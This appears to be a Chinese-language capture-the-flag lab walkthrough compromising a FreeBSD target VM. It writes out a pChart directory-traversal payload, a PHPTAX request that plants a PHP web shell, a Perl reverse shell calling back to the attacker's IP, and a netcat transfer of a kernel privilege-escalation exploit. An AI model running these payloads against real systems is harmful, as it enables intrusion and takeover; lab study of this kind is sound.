在靶机未打开和开启时分别arp-scan -l,判断那个IP为靶机IP,发现靶机IP为192.168.213.137
一、nmap扫描
#扫描tcp开放了那些端口,保存到nmap/port中
nmap -sT --min-rate 192.168.213.137 -oA nmapscan/port

#扫描udp开放了那些端口,保存到nmap/udp中
nmap -sU --min-rate 192.168.213.137 -oA nmapscan/port

#对开放的端口进行详细的探测,保存到detail中
nmap -sT -sC -Pn -v -sV -O 192.168.213.137 -oA nmapscan/detail

#使用nmap的漏洞扫描脚本进行漏洞扫描
nmap --script=vuln 192.168.213.137 nmapscan/vuln

总结:扫描到22,80,8080端口,并且22端口是关闭的,那突破点就在web了,nmap的vuln脚本也没扫描到漏洞,所以先打开网页观察一番了。
二、目录遍历漏洞读取apache配置文件
80打开就是这样的页面

8080打开是403拒绝访问

先对80的网页F12一下看看会不会暴露什么信息

拼接一下
![]()

随便点了点,发现有php代码的地方,但是无法编辑

使用searchsploit搜索一下pChart 看看有没有历史漏洞

searchsploit -m 31173 #复制一份到桌面
阅读后知道存在目录遍历和xss漏洞,那就利用目录遍历读取文件试试
ip/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

因为22端口是关闭的,所以passwd没有什么可利用的,读取shadow文件也读不了,想到8080是403,中间件是apache,所以就读取apache的配置文件看看,读取到的passwd文件得知了是FreeBSD 9.0的版本,所以就搜索 FreeBSD的apache配置路径后,构造payload
IP/pChart2.1.3/examples/index.php?Action=View&Script=/usr/local/etc/apache22/httpd.conf

往下翻发现设置了 Allow from env=Mozilla4_browser 允许Mozilla4的浏览器访问

使用User-Agent Switcher and Manager修改ua,当然使用burp抓包改也行
修改ua后访问

点开后是这个

三、利用cms历史漏洞getshell
使用searchsploit搜索一下PHPTAX,看看有没有漏洞

searchsploit -m 25849 21665

直接按照说明构造payload
IP:8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E

进行反弹shell,发现常规的bash -c的反弹shell不起作用,了解了一下知道早期的FreeBSD内置perl环境,所以就用perl语言来反弹shell
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.213.128:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

四、内核提权
searchsploit FreeBSD 9.0 找到了提权的exp

想通过kali开服务器,靶机wget下载的方式下载exp,发现靶机没有wget
但是靶机有nc ,nc也能进行传输文件
kali:nc -lvnp 6666 < 26368.c
靶机:nc kaliIP 6666 > exp.c
ls -al 发现上传成功了
gcc exp.c -o exp
./exp

成功提权
五、总结
通过历史漏洞读取apache配置文件,知道配置规则后访问8080,又通过8080页面的历史漏洞getshell,最后使用nc上传提权的exp,进行编译,运行后得到root权限
622

被折叠的 条评论
为什么被折叠?



